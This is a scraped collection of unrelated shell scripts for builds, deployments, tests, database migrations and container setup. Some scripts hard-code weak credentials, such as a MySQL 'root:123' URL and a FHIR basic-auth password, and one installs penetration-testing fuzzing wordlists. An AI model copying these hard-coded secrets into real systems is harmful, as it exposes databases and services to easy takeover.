-e\napplication=${1:-target-app}\nbucket=${2:-${application}-bundles}\ntag=$(date +%F)-$(git rev-parse --short HEAD)\nbundle=${application}-${tag}.zip\n\ncheck_version=$(aws elasticbeanstalk describe-application-versions --application-name ${application} --version-label ${tag} --query \"ApplicationVersions[0]\")\n\nif [ \"${check_version}\" = \"null\" ];\nthen\n git archive HEAD -o /tmp/${bundle}\n\n aws s3 cp /tmp/${bundle} s3://${bucket}\n\n aws elasticbeanstalk create-application-version \\\n --application-name ${application} \\\n --version-label ${tag} \\\n --source-bundle S3Bucket=\"${bucket}\",S3Key=\"${bundle}\" \\\n --no-auto-create-application\nelse\n echo \"Version ${tag} already uploaded.\"\nfi"} {"text": "0\n#!/bin/bash\n\n# Move to user directory\ncd ~; \n\n# Collect user information\nwhile\n echo -e \"Welcome to JackFlex's automated process for configuring Django onto a Ubuntu server\";\n echo -e 'If you would spare a moment, please answer the following questions?';\n echo -e '-----------------------------------------------------';\n read -p 'Django Project Name: ' DJANGO_PROJECT_NAME;\n read -p 'Django App Name: ' APP_NAME;\n read -p 'Application Port: ' APP_PORT;\n\n clear;\n\n echo -e 'Wonderful! Please confirm the values below';\n echo -e '-----------------------------------------------------';\n echo -e 'Django Project Name = ' ${DJANGO_PROJECT_NAME};\n echo -e 'Django App Name = ' ${APP_NAME};\n read -p 'Application Port = ' ${APP_PORT};\n echo -e '-----------------------------------------------------';\n read -p 'Is the above information correct? (y/n): ' PROMPT;\n [[ ${PROMPT} != y ]]\ndo true; done\nclear;\n\n# Create Django Project\ndjango-admin startproject ${DJANGO_PROJECT_NAME};\n\n# Create Django App\npython3 manage.py startapp ${APP_NAME};\n\nclear;\n\n# Initialize database and test start the server\npython3 manage.py makemigrations;\npython3 manage.py migrate;\npython3 manage.py createsuperuser;\npython3 manage.py runserver 0.0.0.0:${APP_PORT};"} {"text": "#!/bin/bash\n\n# Copyright 2018- The Pixie Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# SPDX-License-Identifier: Apache-2.0\n\n# Note: This script will ask for root privileges.\n#\n# This script tests the probe_cleaner functions.\n# It runs an instance of stirling_wrapper, and then does a SIGKILL to ensure it leaks probes.\n# Then it runs the cleaner to clean those probes up.\n\nif [ -z \"$1\" ]; then\n stirling_wrapper_bin=$(bazel info bazel-bin)/src/stirling/binaries/stirling_wrapper\n probe_cleaner_bin=$(bazel info bazel-bin)/src/stirling/bpf_tools/probe_cleaner_standalone\nelse\n stirling_wrapper_bin=$1\n probe_cleaner_bin=$2\nfi\n\n# Switch to root user.\nif [[ $EUID -ne 0 ]]; then\n sudo \"$0\" \"$stirling_wrapper_bin\" \"$probe_cleaner_bin\"\n exit\nfi\n\n# The marker we are looking for in identifying probes to kill.\nmarker=\"__pixie__\"\n\nfunction test_setup() {\n # Create a temporary file. Then open it, and remove the file.\n # This trick makes sure no garbage is left after the test exits.\n # The file is accessed in the rest of the script not by its name,\n # but rather by fd (e.g. `&3`).\n tmpfile=$(mktemp)\n exec 3> \"$tmpfile\" # FD for writing.\n exec 4< \"$tmpfile\" # FD for reading.\n rm \"$tmpfile\"\n\n $stirling_wrapper_bin 2>&3 > /dev/null &\n if [ $? -ne 0 ]; then\n echo \"Test setup failed: Cannot run program\"\n return 1\n fi\n pid=$!\n\n # Wait for the kprobes to deploy, by looking for the \"Probes successfully deployed\" message.\n tail -f -n +1 <&4 | sed '/Probes successfully deployed/ q'\n\n # This kill will cause the probes to leak.\n kill -KILL $pid\n wait $pid\n\n num_probes=$(grep -c $marker /sys/kernel/debug/tracing/kprobe_events)\n echo \"Number of leaked probes: $num_probes\"\n\n if [ \"$num_probes\" -eq 0 ]; then\n echo \"Test setup failed: Expected to leave leaked probes.\"\n return 1\n fi\n}\n\nfunction test() {\n $probe_cleaner_bin\n if [ $? -ne 0 ]; then\n echo \"FAILED: Cannot run cleaner\"\n return 1\n fi\n\n num_probes=$(grep -c $marker /sys/kernel/debug/tracing/kprobe_events)\n echo \"Number of leaked probes: $num_probes\"\n\n if [ \"$num_probes\" -ne 0 ]; then\n echo \"Test FAILED: Found $num_probes that were not cleaned up.\"\n return 1\n else\n echo \"Test PASSED\"\n return 0\n fi\n}\n\ntest_setup\nif [ $? -ne 0 ]; then\n echo \"Test setup failed...aborting\"\n exit 1\nfi\n\ntest"} {"text": "#!/bin/bash\n#This application requires the .NetCore 3.1 be installed\nclear\necho This Script will download the Data Lake Export console program and build it.\necho It *Requires* the .Net Core 3.1+ Framework to build correctly.\necho Testing for .Net Core Version...\ndotnet --version\necho\nread -s -n 1 -p \"Press any key to continue . . . (or Ctrl-C to stop)\"\necho\necho Downloading Code ...\ngit clone https://github.com/BillyWilloughby/data-lake-export.git --single-branch\ncd data-lake-export\necho\necho Restoring Packages ...\ndotnet build\necho\necho Compling Executable ...\ndotnet publish -c Release -r \"osx-x64\" --self-contained=false -p:PublishSingleFile=true\necho\necho Moving Files ...\nmv bin/Release/netcoreapp3.1/osx-x64/publish/*.* ../\nmv bin/Release/netcoreapp3.1/osx-x64/publish/DataLakeExport ../\nmv -f bin/Release/netcoreapp3.1/osx-x64/Samples/*.* ../Samples/\necho\necho Cleaning Up ...\ncd ..\nrm -rf data-lake-export\necho\necho Setting Up Executable ...\nchmod 770 ./DataLakeExport\nchmod 770 Samples/Build\\ Samples.sh\necho\necho Complete\necho\necho To run the Samples, you must either edit the files to put in your Information\necho or have setup the Environment variables for your environment per the Wiki.\necho The Sample extract requires MITMAS in the Data Lake.\necho \necho Run: \"./Build\\\\ Samples.sh Basic.sql\" from the command line in the Samples \necho directory to test the Sample extracts."} {"text": "setup/tools/wordlists.sh\n#!/bin/bash\n\nif [[ $NO_WORDLISTS != 'yes' ]];\nthen\n\t# Make our directory\n\tmkdir -p /opt/tools/wordlists\n\tcd /opt/tools/wordlists\n\n\t# * APT INSTALLED TOOLS *\n\n\t# TOOLS=(\"\")\n\t# apt-fast install --no-install-recommends -y ${TOOLS[@]}\n\t# for tool in \"${TOOLS[@]}\"\n\t# do\n\t# \t:\n\t# \techo \"$tool\" >> /opt/tools/wordlists/apt_tools.txt\n\t# done\n\n\t# * GIT INSTALLED TOOLS *\n\n\t# SecLists\n\tgit clone --single-branch --depth 1 https://github.com/danielmiessler/SecLists /usr/share/seclists\n\n\t# RobotsDisallowed\n\tgit clone --single-branch --depth 1 https://github.com/danielmiessler/RobotsDisallowed\n\n\t# FuzzDB\n\tgit clone --single-branch --depth 1 https://github.com/fuzzdb-project/fuzzdb\nfi"} {"text": "killall plasmashell; kstart plasmashell --shut-up; exit"} {"text": "pcarbo/pcarbo\n#!/bin/bash\n\n# This bash script illustrates how one can submit multiple SLURM jobs\n# simultaneously according to the argument names or a list of\n# files. For example, to generate 3 data sets saved to files\n# data1.txt, data2.txt and data3.txt using R script gen.rnorm.data.R,\n# enter the following in the shell command line:\n#\n# bash ./gen_normal_datasets_by_filename.sh data1 data2 data3\n#\n# In this example, we generate data sets with 1000 samples (rows) and\n# 20 features (columns), but this is easily modified below.\n#\n# Alternatively, if you 3 have files in the current directory named\n# \"data1\", data2\" and \"data3\" (and no other files that start with\n# \"data\"), the following command will produce the same result:\n#\n# bash ./gen_normal_datasets_by_filename.sh data*\n#\n# Run the command \"rcchelp qos\" on midway to get more details about\n# the number of jobs that can be run simultaneously.\n#\nSEED=1\nM=1000\nN=20\n\nfor i in $*\ndo\n sbatch --job-name=gen-rnormdata-sbatch-${i} \\\n --output=../results/sbatch-${i}.out \\\n --error=../results/sbatch-${i}.err \\\n gen_rnorm_data.sbatch ../results/${i}.txt $SEED $M $N\ndone"} {"text": "#!/bin/bash\n#\n\n# Install packages\nexport DEBIAN_FRONTEND=noninteractive\nPACKAGES=\"curl open-vm-tools\"\napt-get install -y -q --no-install-recommends ${PACKAGES}"} {"text": "0\n# args1: phenotype parquet file\n# args2: grm prefix \n# args3: output prefix\n\nsource /vol/bmd/yanyul/miniconda3/etc/profile.d/conda.sh\nconda activate ukb_idp\n\nexport PYTHONPATH=/vol/bmd/yanyul/GitHub/misc-tools/pyemma:/vol/bmd/yanyul/GitHub/misc-tools/pyutil\n\npython /vol/bmd/yanyul/GitHub/misc-tools/pyemma/run_pyemma.py \\\n --grm $2 \\\n --grm_cache $2.pyemma_cache \\\n --y_table $1 individual \\\n --reml \\\n --output $3.tsv.gz > $3.log 2>&1\n# --reml \\"} {"text": "lihe1991/qkd-net10-100\n#!/bin/sh\n\ntouch ~/qkd_logs/registration_service.log\njava -jar registration-service/target/registration-service-0.0.1-SNAPSHOT.jar > ~/qkd_logs/registration_service.log"} {"text": "#! /usr/bin/env bash\n\n#\n# Script for build the image. Used builder script of the target repo\n# For build: docker run --privileged -it --rm -v /dev:/dev -v $(pwd):/builder/repo smirart/builder\n#\n# Copyright (C) 2020 Copter Express Technologies\n#\n# Author: <>\n# Author: <>\n#\n\nset -e # Exit immidiately on non-zero result\n\nREPO=$1\nREF=$2\nINSTALL_ROS_PACK_SOURCES=$3\nDISCOVER_ROS_PACK=$4\nNUMBER_THREADS=$5\n\necho_stamp() {\n # TEMPLATE: echo_stamp \n # TYPE: SUCCESS, ERROR, INFO\n\n # More info there https://www.shellhacks.com/ru/bash-colors/\n\n TEXT=\"$(date '+[%Y-%m-%d %H:%M:%S]') $1\"\n TEXT=\"\\e[1m$TEXT\\e[0m\" # BOLD\n\n case \"$2\" in\n SUCCESS)\n TEXT=\"\\e[32m${TEXT}\\e[0m\";; # GREEN\n ERROR)\n TEXT=\"\\e[31m${TEXT}\\e[0m\";; # RED\n *)\n TEXT=\"\\e[34m${TEXT}\\e[0m\";; # BLUE\n esac\n echo -e ${TEXT}\n}\n\n# https://gist.github.com/letmaik/caa0f6cc4375cbfcc1ff26bd4530c2a3\n# https://github.com/travis-ci/travis-build/blob/master/lib/travis/build/templates/header.sh\nmy_travis_retry() {\n local result=0\n local count=1\n local max_count=50\n while [ $count -le $max_count ]; do\n [ $result -ne 0 ] && {\n echo -e \"\\nThe command \\\"$@\\\" failed. Retrying, $count of $max_count.\\n\" >&2\n }\n # ! { } ignores set -e, see https://stackoverflow.com/a/4073372\n ! { \"$@\"; result=$?; }\n [ $result -eq 0 ] && break\n count=$(($count + 1))\n sleep 1\n done\n\n [ $count -gt $max_count ] && {\n echo -e \"\\nThe command \\\"$@\\\" failed $max_count times.\\n\" >&2\n }\n\n return $result\n}\n\n# TODO: 'kinetic-rosdep-clever.yaml' should add only if we use our repo?\necho_stamp \"Init rosdep\"\nmy_travis_retry rosdep init\necho \"yaml file:///etc/ros/rosdep/melodic-rosdep-ros_cs.yaml\" >> /etc/ros/rosdep/sources.list.d/20-default.list\nmy_travis_retry rosdep update\n\necho_stamp \"Populate rosdep for ROS user\"\nmy_travis_retry sudo -u pi rosdep update\n\nresolve_rosdep() {\n # TEMPLATE: resolve_rosdep \n CATKIN_PATH=$1\n ROS_DISTRO='melodic'\n OS_DISTRO='debian'\n OS_VERSION='buster'\n\n echo_stamp \"Installing dependencies apps with rosdep in ${CATKIN_PATH}\"\n cd ${CATKIN_PATH}\n my_travis_retry rosdep install -y --from-paths src --ignore-src --rosdistro ${ROS_DISTRO} --os=${OS_DISTRO}:${OS_VERSION}\n}\n\nexport ROS_IP='127.0.0.1' # needed for running tests\n\necho_stamp \"Installing ROS CS\" \\\n&& cd /home/pi/ros_cs_ws/src/ros_cs \\\n&& git status \\\n&& cd ../../ \\\n&& resolve_rosdep $(pwd) \\\n&& my_travis_retry pip install wheel \\\n&& source /opt/ros/melodic/setup.bash \\\n&& catkin_make -j2 -DCMAKE_BUILD_TYPE=Release \\\n&& systemctl enable roscore \\\n&& echo_stamp \"All ROS CS was installed!\" \"SUCCESS\" \\\n|| (echo_stamp \"ROS CS installation was failed!\" \"ERROR\"; exit 1)\n\necho_stamp \"Running tests\"\ncd /home/pi/ros_cs_ws\ncatkin_make run_tests -j1 && catkin_test_results\n\necho_stamp \"Change permissions\"\nchown -Rf pi:pi /home/pi/ros_cs_ws \\\n&& chown -f pi:pi /home/pi/ros_cs.launch \\\n|| (echo_stamp \"Failed to change permissions!\" \"ERROR\"; exit 1)\n\necho_stamp \"Setup ROS environment\"\ncat << EOF >> /home/pi/.bashrc\nLANG='C.UTF-8'\nLC_ALL='C.UTF-8'\nROS_DISTRO='melodic'\nexport ROS_HOSTNAME=\\`hostname\\`.local\nsource /opt/ros/melodic/setup.bash\nsource /home/pi/ros_cs_ws/devel/setup.bash\nEOF\n\n#echo_stamp \"Removing local apt mirror\"\n# Restore original sources.list\n#mv /var/sources.list.bak /etc/apt/sources.list\n# Clean apt cache\napt-get clean -qq > /dev/null\n# Remove local mirror repository key\n#apt-key del COEX-MIRROR\n\necho_stamp \"END of ROS INSTALLATION\""} {"text": "#!/bin/bash\nfor i in {1..1000}\ndo\n /usr/local/bin/python puzzlesolver.py\n echo $i\ndone"} {"text": "#!/bin/bash\nset -euo pipefail\nIFS=$'\\n\\t'\n\n# FEniCS+\nDOCKER_REPO_BASE=\"fenics\"\nIMG_TAG=base\ndocker build -f Dockerfile.${IMG_TAG} -t ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG} .\ndocker push ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}\n\n# FEniCS with Jupyter notebook\nIMG_TAG=jupyter\n\nIMG_TARGET=nbconvert # entrypoint is nbconvert\ndocker build --target=${IMG_TARGET} -f Dockerfile.${IMG_TAG} -t ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}-${IMG_TARGET} .\ndocker push ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}-${IMG_TARGET}\n\n# This is the \"main\" jupyter image for now.\nIMG_TARGET=jupyter # entrypoint is notebook\ndocker build --target=${IMG_TARGET} -f Dockerfile.${IMG_TAG} -t ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG} .\ndocker push ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}\n\n\n## In case other images/variants are desired, examples:\n\n## If building multiple targets with one final target,\n## uncomment lines below and modify as necessary\n#IMG_TARGET=nbconvert # entrypoint is nbconvert\n#docker build --target=${IMG_TARGET} -f Dockerfile.${IMG_TAG} -t ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}-${IMG_TARGET} .\n#docker push ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}-${IMG_TARGET}\n\n\n## If building a final target, uncomment lines below and modify as necessary\n#IMG_TARGET=jupyter # entrypoint is notebook\n#docker build --target=${IMG_TARGET} -f Dockerfile.${IMG_TAG} -t ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG} .\n#docker push ${DOCKER_USERNAME}/${DOCKER_REPO_BASE}:${IMG_TAG}"} {"text": "#!/usr/bin/env bash\n\n###############################################################################\n# (C) Copyright IBM Corp. 2021\n#\n# SPDX-License-Identifier: Apache-2.0\n###############################################################################\n\nset -ex\n\n###############################################################################\n# spins for a set time until the server is up\nwait_for_it(){\n # Wait until the fhir server is up and running...\n echo \"Waiting for fhir-server to complete initialization...\"\n healthcheck_url='https://localhost:9443/fhir-server/api/v4/$healthcheck'\n tries=0\n status=0\n while [ $status -ne 200 -a $tries -lt 30 ]; do\n tries=$((tries + 1))\n\n set +o errexit\n cmd=\"curl -k -o ${WORKSPACE}/health.json --max-time 5 -I -w \"%{http_code}\" -u fhiruser:change-password $healthcheck_url\"\n echo \"Executing[$tries]: $cmd\"\n status=$($cmd)\n set -o errexit\n\n echo \"Status code: $status\"\n if [ $status -ne 200 ]\n then\n echo \"Sleeping 30 secs...\"\n sleep 30\n fi\n if [ $status -eq 500 ]\n then\n echo \"bad results on the server side\"\n cat ${WORKSPACE}/health.json\n exit 10\n fi\n done\n\n if [ $status -ne 200 ]\n then\n echo \"Could not establish a connection to the fhir-server within $tries REST API invocations!\"\n exit 1\n fi\n\n echo \"The fhir-server appears to be running...\"\n}\n\nwait_for_it\n\n# EOF\n###############################################################################"} {"text": "andriisoldatenko/nats-streaming-docker\n#!/usr/bin/env bash\nset -ex\n\nver=(NATS_STREAMING_SERVER 0.22.0)\n\n(\n\tcd \"${ver[1]}/alpine3.13\"\n\tdocker build --tag nats-streaming:0.22.0-alpine3.13 .\n)\n\n(\n\tcd \"${ver[1]}/scratch\"\n\tdocker build --tag nats-streaming:0.22.0-scratch .\n)"} {"text": "docker-alpine\n-\n\n# alpine\nversion=3.12\nversion=3.15\ndocker build -t cn007b/alpine:$version docker/$version\n\n# # check\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash vim'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash tree'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash mc'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash git'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash hg'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash colordiff'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash curl'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash wget'\n# docker run -ti --rm cn007b/alpine:$version net-tools\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash nmap'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash telnet'\n# docker run -ti --rm cn007b/alpine:$version sh -c 'hash ftp'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash zip'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash unzip'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash rsync'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash make'\n# docker run -ti --rm cn007b/alpine:$version sh -c 'hash lsb_release'\n# docker run -ti --rm cn007b/alpine:$version sh -c 'hash uuid'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash jq'\n#\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash aws'\n#\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash ab'\n#\n# docker run -ti --rm cn007b/alpine:$version sh -c 'hash dstat'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash mpstat'\ndocker run -ti --rm cn007b/alpine:$version sh -c 'hash iotop'\n# docker run -ti --rm cn007b/alpine:$version sh -c 'hash cbm'\n\ndocker run -ti --rm cn007b/alpine:$version sh\n\n# # push\ndocker push cn007b/alpine:$version\n# latest\ndocker tag cn007b/alpine:$version cn007b/alpine:latest\ndocker push cn007b/alpine:latest"} {"text": "0\n#!/bin/bash\n\nterraform init\n\nterraform validate\n\nterraform plan -var-file=\"rancher.tfvars\"\n\nterraform graph -draw-cycles\n\nterraform apply -var-file=\"testing.tfvars\" -auto-approve"} {"text": "OpenBSD-AnsiMail/AnsiMail10-100\n#!/bin/sh\nexec /usr/local/bin/gpg-wks-server -v --receive \\\n\t\t--header X-WKS-Loop=wks.multidomain.loop \\\n\t\t--from \"${1}\" \\\n\t\t--send\n# we don't care about the exit status in this case\nexit 0"} {"text": "scripts/github-action-json-to-markdown.sh0\n#!/usr/bin/env bash\n\nENDPOINTS=$(grep -v '^#' api-endpoints.txt | xargs -d '\\n')\n\nfor endpoint in $ENDPOINTS\ndo \n widdershins --language_tabs 'shell:Shell' 'http:HTTP' 'javascript:JS' 'php:PHP' 'csharp:C#' 'java:Java' --summary ../swagger-definitions/${endpoint}.json -o ../swagger-definitions/${endpoint}.md\ndone"} {"text": "1-10\n#!/usr/bin/env bash\n\nchr='03'\nchromosome_length=316620\nsample_length=$((chromosome_length*2))\nmodel='GRU'\nsize='128-2'\n\nfor i in 0{1..5} ; do\n python sample.py --save_dir $(pwd)'/models/'$model'/chr-'$chr'/'$size -n $sample_length > $(pwd)'/data/Samples/'$model'/chr-'$chr'/'$size'/sample-'$i'.txt'\ndone"} {"text": "run.sh\n#!/bin/bash\n\ndocker run --restart always -p 7000:4500 -p 8443:8443 -d deeperton/webk2m:latest"} {"text": "kaeff/.binnvm_init.sh\n# To activate, use:\n# source ~/bin/nvm_init.sh\n\nexport NVM_DIR=\"$HOME/.nvm\"\n. \"/usr/local/opt/nvm/nvm.sh\""} {"text": "for combo in $(curl -s https://raw.githubusercontent.com/exthmui/hudson/master/exthm-build-targets | sed -e 's/#.*$//' | grep exthm-10 | awk '{printf \"exthm_%s-%s\\n\", $1, $2}')\ndo\n COMMON_LUNCH_CHOICES += \" ${combo}\"\ndone"} {"text": "#!/bin/bash\n##############################################################################\n# Copyright 2020 IBM Corp. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##############################################################################\n\nAPP_KEY=`grep APP_KEY=base64 .env | sed s/APP_KEY=//`\n\necho $APP_KEY\n\nsed --in-place \"s|'APP_KEY'|'APP_KEY','$APP_KEY'|\" config/app.php\nsed --in-place \"s|'UTC'|'UTC'|\" config/app.php\n\nARCH=\ndpkgArch=\"$(dpkg --print-architecture)\"\ncase \"${dpkgArch##*-}\" in\n amd64) ARCH='x86_64';;\n ppc64el) ARCH='ppc64le';;\n s390x) ARCH='s390x';;\n arm64) ARCH='arm64';;\n armhf) ARCH='armv7l';;\n i386) ARCH='x86';;\n *) echo \"unsupported architecture\"; exit 1 ;;\nesac\nif [ \"${ARCH}\" = \"s390x\" ]; then\n TITLE=\"Secure Bitcoin Wallet on IBM LinuxONE\"\nelse\n TITLE=\"Bitcoin Wallet on \"${ARCH}\" Linux\"\nfi\necho $TITLE\n\ncp .env .env.orig\nsed --in-place s/DB_CONNECTION=mysql/DB_CONNECTION=sqlite/ .env\nsed --in-place s/DB_HOST=127.0.0.1/\\#DB_HOST=127.0.0.1/ .env\nsed --in-place s/DB_PORT=3306/\\#DB_PORT=3306/ .env\nsed --in-place \"s|DB_DATABASE=laravel|DB_DATABASE=$APP_ROOT/database/database.sqlite|\" .env\nsed --in-place s/DB_USERNAME=root/\\#DB_USERNAME=root/ .env\nsed --in-place s/DB_PASSWORD=/\\#DB_PASSWORD=secret/ .env\nsed --in-place \"s|APP_NAME=Laravel|APP_NAME=\\\"${TITLE}\\\"|\" .env\nsed --in-place s/APP_DEBUG=.\\*$/APP_DEBUG=false/ .env\nchmod 600 .env\n\ndiff .env .env.orig\n\n# sed s/right/left/ < resources/views/layouts/app.blade.php > resources/views/layouts/app.blade.php.new\n# diff resources/views/layouts/app.blade.php resources/views/layouts/app.blade.php.new\n# mv resources/views/layouts/app.blade.php.new resources/views/layouts/app.blade.php\n\ntouch $APP_ROOT/database/development.sqlite3"} {"text": "#!/bin/sh\n\nrm -rf exlcm\nrm -f MySubscriber.class SendMessage.class"} {"text": "examples/STRUMPACK-KRR-HSS/run_examples.sh\n#!/bin/bash\n\ncd ../../\n. run_env.sh\ncd -\n\nexport PYTHONPATH=$PWD/STRUMPACK/install/include/python/:$PYTHONPATH\n\ntimestamp() {\n date +\"%Y-%m-%d_%H-%M-%S\" # current time\n}\n\nif [[ $ModuleEnv == *\"openmpi\"* ]]; then\n rm -rf gptune.db/*.json # do not load any database\n tp=STRUMPACK_KRR_HSS\n app_json=$(echo \"{\\\"tuning_problem_name\\\":\\\"$tp\\\"\")\n echo \"$app_json$machine_json$software_json$loadable_machine_json$loadable_software_json}\" | jq '.' > .gptune/meta.json\n $MPIRUN --oversubscribe --allow-run-as-root --mca pmix_server_max_wait 3600 --mca pmix_base_exchange_timeout 3600 --mca orte_abort_timeout 3600 --mca plm_rsh_no_tree_spawn true -n 1 python ./strumpack_MLA_KRR_HSS.py -ntask 1 -nrun 10 -machine cori -npernode $cores\nfi"} {"text": "generate_bindings.sh\n#!/usr/bin/env bash\n\n# Use bindgen for generating the bindings for this libary.\n# Make sure to read both\n# https://rust-lang.github.io/rust-bindgen/requirements.html\n# and\n# https://rust-lang.github.io/rust-bindgen/command-line-usage.html\n# first.\nbindgen wrapper.h -o bindings.rs -- -I./olm/include\ncat bindings_header.rs bindings.rs > src/lib.rs"} {"text": "gen.sh1-10\n#!/bin/bash\n\nversion=$(cat version.txt)\nmacsha=$(cat dist/crtools_darwin_amd64.sha256sum | awk '{print $1}')\nlinuxsha=$(cat dist/crtools_linux_amd64.sha256sum | awk '{print $1}')\n\ncat > crtools.rb < \"crtools\"\n end\n end\nEOF\n\ndocker build -t ysicing/taprb:crtools -f hack/brew/Dockerfile .\ndocker push ysicing/taprb:crtools"} {"text": "lk153/tracking-go0\n#!/bin/bash\n\nif [ $1 = \"up\" ]; then\n\techo \"Upgrade version $1\"\n\t./migrate -source file://./db/migrations/ -database 'mysql://root:123@tcp(localhost:3306)/tracking' up $2\nelif [ $1 = \"down\" ]; then\n\techo \"Downgrade version $1\"\n\t./migrate -source file://./db/migrations/ -database 'mysql://root:123@tcp(localhost:3306)/tracking' down $2\nelif [ $1 = \"reset\" ]; then\n\techo \"Reset All\"\n\t./migrate -source file://./db/migrations/ -database 'mysql://root:123@tcp(localhost:3306)/tracking' drop -f\nelif [ $1 = \"create\" ]; then\n\techo \"Create table $2\"\n\t./migrate create -ext sql -seq -dir ./db/migrations $2\nfi"} {"text": "#!/bin/bash\n\nUSERNAME=root\nPUBLIC_KEY=\"\"\nUSER_ID=\"\"\nGROUP_ID=\"\"\n\nwhile [ \"$#\" -gt 0 ]; do\n case \"$1\" in\n -k | --key)\n PUBLIC_KEY=$2\n shift 2\n ;;\n -u | --user)\n USERNAME=$2\n shift 2\n ;;\n -i | --uid)\n USER_ID=$2\n shift 2\n ;;\n -g | --gid)\n GROUP_ID=$2\n shift 2\n ;;\n *)\n echo \"Unknown option: $1\" >&2\n exit 1\n ;;\n esac\ndone\n\n# update the USER_ID and GROUP_ID of the specified user\nif [ -n \"${USER_ID}\" ] && [ -n \"${GROUP_ID}\" ]; then\n groupmod -g \"${GROUP_ID}\" \"${USERNAME}\"\n usermod -u \"${USER_ID}\" -g \"${GROUP_ID}\" \"${USERNAME}\"\nfi\n\nif [ -n \"${PUBLIC_KEY}\" ]; then\n # authorise the specified user for ssh login\n HOME=\"/home/${USERNAME}\"\n mkdir -p \"${HOME}\"/.ssh\n echo \"${PUBLIC_KEY}\" >\"${HOME}\"/.ssh/authorized_keys\n chmod -R 755 \"${HOME}\"/.ssh\n chown -R \"${USERNAME}:${USERNAME}\" \"${HOME}\"/.ssh\nfi\n\n# start the ssh server\n/usr/sbin/sshd -D -e -f /etc/ssh/sshd_config_development"} {"text": "#!/bin/bash\n#\n# script to generate the CCU addon package.\n\n# generate tempdir\nmkdir -p tmp/\nrm -rf tmp/*\n\n# copy all relevant stuff\ncp -a update_script tmp/\ncp -a VERSION tmp/\ncp -a www tmp/\ncp -a rc.d tmp/\ncp -a profile.d tmp/\ncp -a licenses tmp/\n\n\n\n# *** arm based binarys (armv7l) *** \nmkdir tmp/arm\n# copy python3.9\ncp -a arm/python3.9 tmp/arm/\n\n\n###############################################################\n\n# generate archive\ncd tmp\ntar --owner=root --group=root --exclude=.DS_Store -czvf ../PythonCCU-$(cat ../VERSION).tar.gz *\ncd ..\nrm -rf tmp"} {"text": "#!/usr/bin/env bash\n#\n# Copyright (c) 2016-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n#\n\nDATASET=(\n wikipedia\n)\n\nMODELDIR=/tmp/starspace/models\nDATADIR=/tmp/starspace/data\n\nmkdir -p \"${MODELDIR}\"\nmkdir -p \"${DATADIR}\"\n\nif [ ! -f \"${DATADIR}/${DATASET[i]}_shuf_train5M.txt\" ]\nthen\n echo \"Downloading wikipedia train data\"\n wget -c \"https://s3.amazonaws.com/fair-data/starspace/wikipedia_train5M.tgz\" -O \"${DATADIR}/${DATASET[0]}_train.tar.gz\"\n tar -xzvf \"${DATADIR}/${DATASET[0]}_train.tar.gz\" -C \"${DATADIR}\"\n fi\n\necho \"Compiling StarSpace\"\n\nmake\n\necho \"Start to train on wikipedia data (meant to replicate experiment from paper, this will take a while to train):\"\n\n./starspace train \\\n -trainFile \"${DATADIR}\"/wikipedia_shuf_train5M.txt \\\n -model \"${MODELDIR}\"/wikipedia_article_search_full \\\n -trainMode 2 \\\n -initRandSd 0.01 \\\n -adagrad true \\\n -ngrams 1 \\\n -lr 0.05 \\\n -margin 0.05 \\\n -epoch 20 \\\n -thread 40 \\\n -dim 300 \\\n -negSearchLimit 100 \\\n -dropoutRHS 0.8 \\\n -fileFormat labelDoc \\\n -similarity \"cosine\" \\\n -minCount 5 \\\n -normalizeText true \\\n -verbose true\n\nif [ ! -f \"${DATADIR}/${DATASET[i]}_test10k.txt\" ]\nthen\n echo \"Downloading wikipedia test data\"\n wget -c \"https://s3.amazonaws.com/fair-data/starspace/wikipedia_devtst.tgz\" -O \"${DATADIR}/${DATASET[0]}_test.tar.gz\"\n tar -xzvf \"${DATADIR}/${DATASET[0]}_test.tar.gz\" -C \"${DATADIR}\"\nfi\n\necho \"Start to evaluate trained model:\"\n\n./starspace test \\\n -testFile \"${DATADIR}\"/wikipedia_test10k.txt \\\n -basedoc 